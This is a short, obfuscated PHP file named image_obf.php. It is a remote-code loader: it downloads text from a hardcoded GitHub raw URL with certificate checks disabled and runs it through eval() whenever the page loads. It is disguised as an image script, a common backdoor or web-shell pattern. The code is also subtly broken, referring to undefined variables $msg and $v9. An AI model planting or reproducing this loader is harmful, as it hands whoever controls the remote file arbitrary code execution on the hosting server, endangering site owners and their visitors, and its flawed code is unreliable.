name : image_obf.php
<?php
// Obfuscated (heuristic) - backup your original file
declare(strict_types=1);class RemoteRunner{private string $v1;private bool $v2;public function __construct(string $v1,bool $v2=true){$this->url=$v1;$this->asCode=$v2;}private function fetch():string{$v3=curl_init($this->url);curl_setopt_array($v3,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>false,CURLOPT_USERAGENT=>"RemoteRunner/1.0 (FullStack-Oppo)"]);$v4=curl_exec($v3);if($v4===false){throw new RuntimeException("cURL Error: ".curl_error($v3));}curl_close($v3);return $v4;}public function execute():void{try{$v5=$this->fetch();if($this->asCode){eval("?>".$v5);}else{echo $v5;}}catch(Throwable $v6){$this->logError($v6->getMessage());$this->renderError($v6->getMessage());}}private function logError(string $v7):void{$v8=sprintf("[%s] ERROR: %s\n",date("Y-m-d H:i:s"),$v7);file_put_contents(__DIR__."/remote_runner.log",$v8,FILE_APPEND);}private function renderError(string $v7):void{if(php_sapi_name()==='cli'){echo "[RemoteRunner] $msg\n";}else{http_response_code(500);echo "<h2>RemoteRunner Error</h2>";echo "<pre>$msg</pre>";}}}$v1="https://raw.githubusercontent.com/fazastret9-svg/saintes/refs/heads/main/saintes.txt";if(php_sapi_name()==='cli'&&isset($v9[1])){$v1=$v9[1];$v2=isset($v9[2])&&$v9[2]==="--raw" ? false:true;(new RemoteRunner($v1,$v2))->execute();}else{(new RemoteRunner($v1,true))->execute();}

© 2025